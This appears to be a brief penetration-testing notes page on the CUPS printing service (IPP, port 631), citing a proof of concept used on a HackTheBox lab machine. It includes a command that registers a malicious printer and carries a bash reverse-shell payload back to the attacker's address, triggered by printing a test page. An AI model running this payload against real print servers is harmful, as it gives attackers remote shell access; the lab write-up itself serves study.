IPP

Internet Printing Protocol

CUPS (Common UNIX Printing System)
  • It uses UDP and TCP on Port 631

Vulnerabilities


POC

  • Ippsec has a POC that is used on the evilcups machine from HackThebox:

Add the malicious printer
python evil-cups.py 10.10.14.6 10.10.11.40 'nohup bash -c "bash -i >& /dev/tcp/10.10.14.6/443 0>&1"&'
  • Now, on the server select the the malicious printer and trigger the option Print Test Page

  • The default path for printed jobs is /var/spool/cups

Last updated